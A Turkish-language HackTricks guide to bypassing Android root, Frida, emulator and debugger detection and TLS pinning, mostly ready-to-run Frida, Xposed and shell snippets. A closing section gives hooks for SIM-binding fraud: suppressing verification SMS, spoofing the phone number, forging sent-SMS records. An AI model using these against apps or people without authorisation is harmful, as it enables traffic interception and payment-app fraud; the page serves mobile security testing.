Android Anti-Instrumentation & SSL Pinning Bypass (Frida/Objection)
Tip
AWS Hacking öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
Değerlendirme yolları (ARTA/GRTA/AzRTA) ve Linux Hacking Expert (LHE) için tam HackTricks Training kataloğuna göz atın.
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna, telegram grubuna katılın, X/Twitter üzerinde @hacktricks_live hesabını takip edin veya LinkedIn sayfasını ve YouTube kanalını kontrol edin.
- HackTricks ve HackTricks Cloud github depolarına PR göndererek hacking tricks paylaşın.
Bu sayfa, instrumentation tespit eden/root‑block yapan veya TLS pinning uygulayan Android uygulamalarına karşı dinamik analiz erişimini geri kazanmak için pratik bir iş akışı sağlar. Hızlı triaj, yaygın tespitler ve mümkün olduğunda repack yapmadan atlatmak için kopyala-yapıştır kullanılabilecek hook/taktiklere odaklanır.
Detection Surface (what apps check)
- Root kontrolleri:
subinary’si, Magisk yolları,getpropdeğerleri, yaygın root paketleri - Frida/debugger kontrolleri (Java):
Debug.isDebuggerConnected(),ActivityManager.getRunningAppProcesses(),getRunningServices(),/proctaramaları, classpath, yüklenmiş kütüphaneler - Native anti‑debug:
ptrace(), syscall’lar, anti‑attach, breakpoints, inline hook’lar - Erken init kontrolleri:
Application.onCreate()veya instrumentation varsa crash yapan process başlangıç hook’ları - TLS pinning: custom
TrustManager/HostnameVerifier, OkHttpCertificatePinner, Conscrypt pinning, native pinler
Bypassing Anti-Frida Detection / Stealth Frida Servers
phantom-frida Frida’yı kaynaktan rebuild eder ve yaygın Frida parmak izlerinin ortadan kalkması için ~90 patch uygular; stock Frida protokolü uyumluluğu korunur (frida-tools hâlâ bağlanabilir). Hedef: /proc (cmdline, maps, task comm, fd readlink) grep’leyen, D-Bus servis isimlerini, varsayılan portları veya export edilmiş sembolleri arayan uygulamalar.
Aşamalar:
- Source patches:
fridaidentifier’larının (server/agent/helper) global yeniden isimlendirilmesi ve yeniden adlandırılmış Java paketi ile helper DEX’in yeniden derlenmesi. - Targeted build/runtime patches: meson tweak’leri, memfd label’ının
jit-cacheolarak değiştirilmesi, SELinux label’larının (örn.frida_file) yeniden adlandırılması, libc üzerindekiexit/signalhook’larının hook-detector’ları önlemek için devre dışı bırakılması. - Post-build rename: export edilmiş
frida_agent_mainsembolü ilk derlemeden sonra yeniden adlandırılır (Vala bunu emit eder), bu ikinci bir incremental build gerektirir. - Binary hex patches: thread isimleri (
gmain,gdbus,pool-spawner) değiştirilir; opsiyonel sweep kalanfrida/Fridastring’lerini temizler.
Kapsanan tespit vektörleri:
- Base (1–8): process adı
frida-server, map’lenmişlibfrida-agent.so, thread isimleri, memfd label, export edilmişfrida_agent_main, SELinux label’ları, libc hook yan etkileri, ve D-Bus servisire.frida.serveryeniden adlandırılıp nötralize edilir. - Extended (9–16): dinleme portunu değiştirme (
--port), D-Bus interface’leri/dahili C sembolleri/GType isimlerini yeniden adlandırma,.frida/frida-gibi temp path’leri değiştirme, binary string’lerinin sweep edilmesi, build-time define’ları ve asset path’lerinin (libdir/frida) yeniden adlandırılması. Wire protocol’ün parçası olan D-Bus interface isimleri base modda stock client’ları kırmamak için değişmeden bırakılır.
Build/usage (Android arm64 örneği):
python3 build.py --version 17.7.2 --name myserver --port 27142 --extended --verify
adb push output/myserver-server-17.7.2-android-arm64 /data/local/tmp/myserver-server
adb shell chmod 755 /data/local/tmp/myserver-server
adb shell /data/local/tmp/myserver-server -D &
adb forward tcp:27142 tcp:27142
frida -H 127.0.0.1:27142 -f com.example.app
Flags: --skip-build (patch only), --skip-clone, --arch, --ndk-path, --temp-fixes; WSL helper: wsl -d Ubuntu bash build-wsl.sh.
Step 1 — Quick win: hide root with Magisk DenyList
- Magisk’te Zygisk’i etkinleştirin
- DenyList’i etkinleştirin, hedef paketi ekleyin
- Yeniden başlatıp tekrar test edin
Birçok uygulama sadece belirgin göstergelere (su/Magisk paths/getprop) bakar. DenyList genellikle basit kontrolleri etkisiz hale getirir.
References:
- Magisk (Zygisk & DenyList): https://github.com/topjohnwu/Magisk
Play Integrity / Zygisk detections (post‑SafetyNet)
Yeni banka/kimlik uygulamaları runtime kontrollerini Google Play Integrity (SafetyNet replacement) ile bağlar ve Zygisk’in kendisi mevcutsa çökebilir. Hızlı triyaj ipuçları:
- Geçici olarak Zygisk’i devre dışı bırakın (kapatıp yeniden başlatın) ve tekrar deneyin; bazı uygulamalar Zygote injection yüklendiği anda çöker.
- Eğer attestation girişleri engelliyorsa, PlayIntegrityFix/Fork + TrickyStore ile Google Play Services’i patchleyin veya sadece test ederken ReZygisk/Zygisk‑Next kullanın. Hedefi DenyList’te tutun ve props sızdıran LSPosed modüllerinden kaçının.
- Tek seferlik çalıştırmalar için, Zygote injection olmayan KernelSU/APatch kullanarak Zygisk heuristiklerinin altında kalın, ardından Frida’ya attach edin.
Step 2 — 30‑second Frida Codeshare tests
Derinlemesine dalmadan önce yaygın drop‑in script’leri deneyin:
- anti-root-bypass.js
- anti-frida-detection.js
- hide_frida_gum.js
Example:
frida -U -f com.example.app -l anti-frida-detection.js
Bunlar tipik olarak Java root/debug kontrollerini, process/service taramalarını ve native ptrace() çağrılarını stub’lar. Az korunan uygulamalarda faydalıdır; sertleştirilmiş hedefler için özel hook’lar gerekebilir.
- Codeshare: https://codeshare.frida.re/
Medusa ile otomatikleştirme (Frida framework)
Medusa, SSL unpinning, root/emulator detection bypass, HTTP comms logging, crypto key interception ve daha fazlası için 90’dan fazla hazır modül sağlar.
git clone https://github.com/Ch0pin/medusa
cd medusa
pip install -r requirements.txt
python medusa.py
# Example interactive workflow
show categories
use http_communications/multiple_unpinner
use root_detection/universal_root_detection_bypass
run com.target.app
İpucu: Medusa, custom hooks yazmadan önce hızlı kazanımlar için harikadır. Ayrıca cherry-pick modules yapabilir ve bunları kendi scripts’inizle birleştirebilirsiniz.
Auto-Frida ile otomasyon (spawn-mode + consolidated hooks)
Auto-Frida, tekrarlanabilir kurulumun yanı sıra korumaların auto-detection’ına ve consolidated bypass script generation’a odaklanan bir Frida automation toolkit’idir. Uygulamalar çok erken kontroller çalıştırdığında veya birden fazla bypass module aynı API’leri double-hook edeceği durumlarda kullanışlıdır.
Temel otomasyon fikirleri:
- Spawn-mode analysis: hook’ları
Application.onCreate()öncesine kurarak erken SSL pinning, root, emulator veya anti-Frida kontrollerinin yakalanmasını sağlar. - Protection detection + auto-bypass: tespit sonuçları, her Java method/native symbol’ü sadece bir kez hook’layan tek bir consolidated script’in üretilmesini sağlar; bu da çakışan hook’lar nedeniyle oluşan çöküşleri azaltır.
- Frida server lifecycle checks: işlem + port
27042+frida-pshandshake gibi sunucu sağlığını indirmeden/yeniden başlatmadan önce doğrulayarak oturumların stabil kalmasını sağlar.
Hızlı başlangıç:
git clone https://github.com/ommirkute/Auto-Frida.git
cd Auto-Frida
pip install -r requirements.txt
python auto_frida.py
Notlar
- Auto-Frida, eksikse
frida/frida-tools’u otomatik olarak kurabilir ve multi-device selection’ı destekler. - Generated scripts analizden sonra hemen çalıştırılabilir veya custom hooks’larınızla birleştirilebilir.
Adım 3 — Init-time detektörlerini geç bağlanarak atlatın
Birçok tespit yalnızca process spawn/onCreate() sırasında çalışır. Spawn‑time injection (-f) veya gadgets yakalanır; UI yüklendikten sonra bağlanmak ise atlatmayı sağlayabilir.
# Launch the app normally (launcher/adb), wait for UI, then attach
frida -U -n com.example.app
# Or with Objection to attach to running process
aobjection --gadget com.example.app explore # if using gadget
Bu işe yararsa, oturumu kararlı tutun ve map ile stub kontrollerine geçin.
Adım 4 — Tespit mantığını Jadx ve string hunting ile haritalama
Jadx’te statik triage anahtar kelimeleri:
- “frida”, “gum”, “root”, “magisk”, “ptrace”, “su”, “getprop”, “debugger”
Tipik Java desenleri:
public boolean isFridaDetected() {
return getRunningServices().contains("frida");
}
Gözden geçirilecek/hook yapılacak yaygın API’ler:
- android.os.Debug.isDebuggerConnected
- android.app.ActivityManager.getRunningAppProcesses / getRunningServices
- java.lang.System.loadLibrary / System.load (native bridge)
- java.lang.Runtime.exec / ProcessBuilder (probing commands)
- android.os.SystemProperties.get (root/emulator heuristics)
Adım 5 — Runtime stubbing with Frida (Java)
Özel guard’ları repacking olmadan güvenli değerler döndürecek şekilde geçersiz kılın:
Java.perform(() => {
const Checks = Java.use('com.example.security.Checks');
Checks.isFridaDetected.implementation = function () { return false; };
// Neutralize debugger checks
const Debug = Java.use('android.os.Debug');
Debug.isDebuggerConnected.implementation = function () { return false; };
// Example: kill ActivityManager scans
const AM = Java.use('android.app.ActivityManager');
AM.getRunningAppProcesses.implementation = function () { return java.util.Collections.emptyList(); };
});
Triaging early crashes? Uygulama ölmeden hemen önce Dump classes yaparak olası detection namespaces’leri tespit edin:
Java.perform(() => {
Java.enumerateLoadedClasses({
onMatch: n => console.log(n),
onComplete: () => console.log('Done')
});
});
Hızlı root detection stub örneği (hedef paket/sınıf isimlerine uyarlayın):
Java.perform(() => {
try {
const RootChecker = Java.use('com.target.security.RootCheck');
RootChecker.isDeviceRooted.implementation = function () { return false; };
} catch (e) {}
});
Log ve şüpheli yöntemleri etkisiz hale getirerek çalışma akışını doğrula:
Java.perform(() => {
const Det = Java.use('com.example.security.DetectionManager');
Det.checkFrida.implementation = function () {
console.log('checkFrida() called');
return false;
};
});
Bypass emulator/VM detection (Java stubs)
Yaygın heuristikler: Build.FINGERPRINT/MODEL/MANUFACTURER/HARDWARE içinde generic/goldfish/ranchu/sdk bulunması; QEMU artefaktları (ör. /dev/qemu_pipe, /dev/socket/qemud); varsayılan MAC 02:00:00:00:00:00; 10.0.2.x NAT; telephony/sensors eksikliği.
Build alanlarının hızlı spoof’lanması:
Java.perform(function(){
var Build = Java.use('android.os.Build');
Build.MODEL.value = 'Pixel 7 Pro';
Build.MANUFACTURER.value = 'Google';
Build.BRAND.value = 'google';
Build.FINGERPRINT.value = 'google/panther/panther:14/UP1A.231105.003/1234567:user/release-keys';
});
Dosya varlığı kontrolleri ve tanımlayıcılar (TelephonyManager.getDeviceId/SubscriberId, WifiInfo.getMacAddress, SensorManager.getSensorList) için gerçekçi değerler döndürecek stub’lar ile tamamlayın.
SSL pinning bypass quick hook (Java)
Özel TrustManagers’ı etkisizleştirin ve izin verici SSL context’lerini zorlayın:
Java.perform(function(){
var X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
var SSLContext = Java.use('javax.net.ssl.SSLContext');
// No-op validations
X509TrustManager.checkClientTrusted.implementation = function(){ };
X509TrustManager.checkServerTrusted.implementation = function(){ };
// Force permissive TrustManagers
var TrustManagers = [ X509TrustManager.$new() ];
var SSLContextInit = SSLContext.init.overload('[Ljavax.net.ssl.KeyManager;','[Ljavax.net.ssl.TrustManager;','java.security.SecureRandom');
SSLContextInit.implementation = function(km, tm, sr){
return SSLContextInit.call(this, km, TrustManagers, sr);
};
});
Notlar
- OkHttp için genişletin: gerekirse okhttp3.CertificatePinner ve HostnameVerifier’ı hooklayın veya CodeShare’den evrensel bir unpinning script’i kullanın.
- Örnek çalıştırma:
frida -U -f com.target.app -l ssl-bypass.js --no-pause
OkHttp4 / gRPC / Cronet pinning (2024+)
Modern yığınlar pin’i daha yeni API’lerin içinde gerçekleştirir (OkHttp4+, gRPC over Cronet/BoringSSL). Temel SSLContext hook takıldığında bu hooks’ları ekleyin:
Java.perform(() => {
try {
const Pinner = Java.use('okhttp3.CertificatePinner');
Pinner.check.overload('java.lang.String', 'java.util.List').implementation = function(){};
Pinner.check$okhttp.implementation = function(){};
} catch (e) {}
try {
const CronetB = Java.use('org.chromium.net.CronetEngine$Builder');
CronetB.enablePublicKeyPinningBypassForLocalTrustAnchors.overload('boolean').implementation = function(){ return this; };
CronetB.setPublicKeyPins.overload('java.lang.String', 'java.util.Set', 'boolean').implementation = function(){ return this; };
} catch (e) {}
});
Eğer TLS hala başarısız oluyorsa, native katmana geçin ve Cronet/gRPC tarafından kullanılan BoringSSL doğrulama giriş noktalarına yama uygulayın:
const customVerify = Module.findExportByName(null, 'SSL_CTX_set_custom_verify');
if (customVerify) {
Interceptor.attach(customVerify, {
onEnter(args){
// arg0 = SSL_CTX*, arg1 = mode, arg2 = callback
args[1] = ptr(0); // SSL_VERIFY_NONE
args[2] = NULL; // disable callback
}
});
}
Adım 6 — Java hook’ları başarısız olduğunda JNI/native izini takip edin
JNI giriş noktalarını izleyin ve native loaders ile detection init’i bulmak için takip edin:
frida-trace -n com.example.app -i "JNI_OnLoad"
Paketlenmiş .so dosyaları için hızlı yerel triage:
# List exported symbols & JNI
nm -D libfoo.so | head
objdump -T libfoo.so | grep Java_
strings -n 6 libfoo.so | egrep -i 'frida|ptrace|gum|magisk|su|root'
Etkileşimli/native reversing:
- Ghidra: https://ghidra-sre.org/
- r2frida: https://github.com/nowsecure/r2frida
Örnek: libc’deki basit anti‑debug’i alt etmek için ptrace’i devre dışı bırakma:
const ptrace = Module.findExportByName(null, 'ptrace');
if (ptrace) {
Interceptor.replace(ptrace, new NativeCallback(function () {
return -1; // pretend failure
}, 'int', ['int', 'int', 'pointer', 'pointer']));
}
Ayrıca bakınız: Reversing Native Libraries
Adım 7 — Objection patching (embed gadget / strip basics)
Repacking’i runtime hook’lara tercih ediyorsanız, şunları deneyin:
objection patchapk --source app.apk
Notlar:
- apktool gerektirir; derleme sorunlarını önlemek için resmi rehberdeki güncel bir sürümü kullandığınızdan emin olun: https://apktool.org/docs/install
- Gadget injection, root olmadan instrumentation sağlamayı mümkün kılar, ancak daha güçlü init‑time kontroller tarafından yine de tespit edilebilir.
İsteğe bağlı olarak, Zygisk ortamlarında daha güçlü root gizleme için LSPosed modülleri ve Shamiko ekleyin ve alt süreçleri kapsayacak şekilde DenyList’i düzenleyin.
Tam iş akışı (script-mode Gadget yapılandırması ve Frida 17+ agent’inizi APK’ye paketleme dahil) için bakınız:
Frida Tutorial — Self-contained agent + Gadget embedding
Referanslar:
- Objection: https://github.com/sensepost/objection
Adım 8 — Yedek: Ağ görünürlüğü için TLS pinning’i yama
Eğer instrumentation engellenmişse, pinning’i statik olarak kaldırarak trafiği hâlâ inceleyebilirsiniz:
apk-mitm app.apk
# Then install the patched APK and proxy via Burp/mitmproxy
- Araç: https://github.com/shroudedcode/apk-mitm
- Ağ yapılandırması CA‑trust hileleri (ve Android 7+ user CA trust) için, bkz:
Make APK Accept CA Certificate
LSPosed/Xposed Hooking Abuse (Telephony/SMS)
Root’lu cihazlarda, LSPosed/Xposed modülleri çalışma zamanında Java telephony/SMS API’lerini hooklayarak APK’yi diskte değiştirmeden uygulamanın gördüklerini tamamen kontrol edebilir. Bu, local telephony APIs veya local SMS provider state’e güvenen SIM‑binding akışlarını atlamak için sıkça kötüye kullanılır.
Key primitives
- Suppress outgoing verification SMS while exfiltrating the token by short‑circuiting
SmsManager.sendTextMessageinbeforeHookedMethod. - Spoof MSISDN/line number by forcing
TelephonyManager.getLine1Number()andSubscriptionInfo.getNumber()to return an attacker‑controlled value. - Plant a fake “Sent” record in the SMS provider so apps that check local SMS history see a successful send even if the carrier never received it.
Example: block SMS dispatch and capture content
XposedHelpers.findAndHookMethod(
"android.telephony.SmsManager",
lpparam.classLoader,
"sendTextMessage",
String.class, String.class, String.class, PendingIntent.class, PendingIntent.class,
new XC_MethodHook() {
protected void beforeHookedMethod(MethodHookParam param) {
String body = (String) param.args[2];
// exfiltrate body to operator channel
param.setResult(null); // suppress real SMS send
}
}
);
Örnek: cihaz telefon numarasını spoof etmek
XposedHelpers.findAndHookMethod(
"android.telephony.TelephonyManager",
lpparam.classLoader,
"getLine1Number",
new XC_MethodHook() {
protected void afterHookedMethod(MethodHookParam param) {
param.setResult(spoofedMsisdn);
}
}
);
XposedHelpers.findAndHookMethod(
"android.telephony.SubscriptionInfo",
lpparam.classLoader,
"getNumber",
new XC_MethodHook() {
protected void afterHookedMethod(MethodHookParam param) {
param.setResult(spoofedMsisdn);
}
}
);
Örnek: sahte bir “Sent” SMS kaydı enjekte et
ContentValues v = new ContentValues();
v.put("address", dest);
v.put("body", body);
v.put("type", 2); // sent
v.put("status", 0); // success
context.getContentResolver().insert(Uri.parse("content://sms/sent"), v);
Kullanışlı komut hızlı başvuru
# List processes and attach
frida-ps -Uai
frida -U -n com.example.app
# Spawn with a script (may trigger detectors)
frida -U -f com.example.app -l anti-frida-detection.js
# Trace native init
frida-trace -n com.example.app -i "JNI_OnLoad"
# Objection runtime
objection --gadget com.example.app explore
# Static TLS pinning removal
apk-mitm app.apk
Universal proxy forcing + TLS unpinning (HTTP Toolkit Frida hooks)
Modern uygulamalar sıklıkla sistem proxy’lerini görmezden gelir ve birden fazla pinning katmanı uygular (Java + native), bu da user/system CAs yüklü olsa bile trafiği yakalamayı zorlaştırır. Pratik bir yaklaşım, hazır Frida hook’ları ile universal TLS unpinning’i proxy forcing ile birleştirip tüm trafiği mitmproxy/Burp üzerinden yönlendirmektir.
İş akışı
- Host’unuzda mitmproxy (veya Burp) çalıştırın. Cihazın host IP/port’una erişebildiğinden emin olun.
- TLS’i unpin etmek ve yaygın stack’lerde (OkHttp/OkHttp3, HttpsURLConnection, Conscrypt, WebView, vb.) proxy kullanımını zorlamak için HTTP Toolkit’in konsolide edilmiş Frida hook’larını yükleyin. Bu, CertificatePinner/TrustManager kontrollerini atlatır ve proxy selector’larını override eder; böylece uygulama açıkça proxy’leri devre dışı bıraks a olsa bile trafik her zaman sizin proxy’niz üzerinden gider.
- Hedef uygulamayı Frida ve hook script ile başlatın ve istekleri mitmproxy’de yakalayın.
Örnek
# Device connected via ADB or over network (-U)
# See the repo for the exact script names & options
frida -U -f com.vendor.app \
-l ./android-unpinning-with-proxy.js \
--no-pause
# mitmproxy listening locally
mitmproxy -p 8080
Notlar
- Mümkünse sistem genelinde bir proxy ile
adb shell settings put global http_proxy <host>:<port>kullanarak birleştirin. Frida hooks, uygulamalar global ayarları atladığında bile proxy kullanımını zorlayacaktır. - Bu teknik, pinning/proxy kaçınmasının yaygın olduğu ve mobile-to-IoT onboarding akışlarını MITM etmeniz gerektiğinde idealdir.
- Hooks: https://github.com/httptoolkit/frida-interception-and-unpinning
Referanslar
- Reversing Android Apps: Bypassing Detection Like a Pro
- Frida Codeshare
- Objection
- apk-mitm
- Jadx
- Ghidra
- r2frida
- Apktool install guide
- Magisk
- Medusa (Android Frida framework)
- Auto-Frida (Android Frida automation toolkit)
- Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa
- phantom-frida (stealth Frida server builder)
- Frida OkHttp4 SSL pinning bypass script
- XDA guide to strong Play Integrity bypass (2025)
- Weaponizing LSPosed: Remote SMS Injection and Identity Spoofing in Modern Payment Ecosystems
Tip
AWS Hacking öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
Değerlendirme yolları (ARTA/GRTA/AzRTA) ve Linux Hacking Expert (LHE) için tam HackTricks Training kataloğuna göz atın.
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna, telegram grubuna katılın, X/Twitter üzerinde @hacktricks_live hesabını takip edin veya LinkedIn sayfasını ve YouTube kanalını kontrol edin.
- HackTricks ve HackTricks Cloud github depolarına PR göndererek hacking tricks paylaşın.


